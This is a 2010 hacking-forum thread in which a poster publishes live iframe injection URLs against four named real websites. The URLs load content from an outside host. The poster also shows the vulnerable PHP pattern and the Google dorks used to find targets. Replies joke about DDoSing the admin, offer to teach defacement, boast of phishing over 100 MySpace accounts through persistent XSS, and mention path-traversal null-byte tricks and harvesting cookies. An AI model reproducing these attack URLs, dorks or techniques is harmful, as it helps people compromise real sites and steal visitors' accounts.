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[XSS/iFrame] Exploits - 4 Websites

Hello =]

I going very bored and started getting into this, but while playing around with dorks and making my own dorks on Google I came across these sites.

These are my own findings even though I joined today :P


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http://www.georgeharrison.com/letitroll/home.php?page=http://bl4ckh4t.webs.com/file.html

http://www.starjouet.com/home.php?page=http://bl4ckh4t.webs.com/file.html

http://www.acquasanta.com/index.php?page=http://bl4ckh4t.webs.com/file.html

http://www.tea-mail.de/index.php?p=http://bl4ckh4t.webs.com/file.html

All they use is a simple iFrame like this for eg:
PHP Code

<?php 
<iframe name="iframe-test" src="<?php $_GET['page']; ?>">
</
iframe> 

Then a hacker/skiddie could enter like http://thefailswebsite/index.php?page=URL_HERE


Thanks for the 19 who viewed and didn't comment =] -(Sarcasm)
I doubt this would work. But nevertheless, good post.
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(Oct 9, 2010 10:39 PM)Burn Notice Wrote:  I doubt this would work. But nevertheless, good post.
Its an iframe XSS exploit.
XSS exploits generally aren't that big of a security risk under most circumstances.
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(Oct 9, 2010 11:03 PM)Burn Notice Wrote:  XSS exploits generally aren't that big of a security risk under most circumstances.

Do I look stupid? I already know. Its client side and cannot cause any defacements.
Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.
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(Oct 9, 2010 11:24 PM)Burn Notice Wrote:  Let's agree XSS is useless these days and move on.

Lets DDoS, make the admin move on.

🤣
(Oct 9, 2010 11:24 PM)Burn Notice Wrote:  Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.

Yeah I agree, It it useless :P but its always fun to discover them


(Oct 9, 2010 11:42 PM)# Ghost ℍackεr Wrote:  Lets DDoS, make the admin move on.

🤣
Lol - (message to short)

Yeah XSS is crap and shitty
Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the victim.


Can you share the dork that you used to find XSS vulnerable sites?
(Oct 9, 2010 11:52 PM)shyamraj Wrote:  Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the slave.

I can teach you my ways of defacing websites and such, email me @ [email protected] <3

My dork was (inurl:"index.php?page=home.html") and (inurl:"index.php?page=about.html"), mainly basic names of pages you would find on the net.
XSS is a huge security threat is it is persistant. Myspace had one in 07/08 that allowed me to cover people's profile with a phisher and all they see is a login page, with that I was able to get 100+ accounts in less then 10 minutes.
XSS is also dangerous lol . With iframes we can infect users and also inject worm in to the server
I like using cross site/local inclusion patterns because its more sanitized and can be used to retrieve results faster then ?p=../../../../john.txt%00, although %00 patterns can be used when you read from the file (?site.php=) then sanitize an input. Its quite useful but doesn't work a lot.

I like using it for XSS-Shell behavior, its much more interesting and tempting. + who wouldn't want a big valid UA list + cookie patterns? It can get you long login-dates depending on expiration.
Nice job here. Thanks for explaining the iFrame exploit method.
Not a problem, pleasure to help anyone here :)


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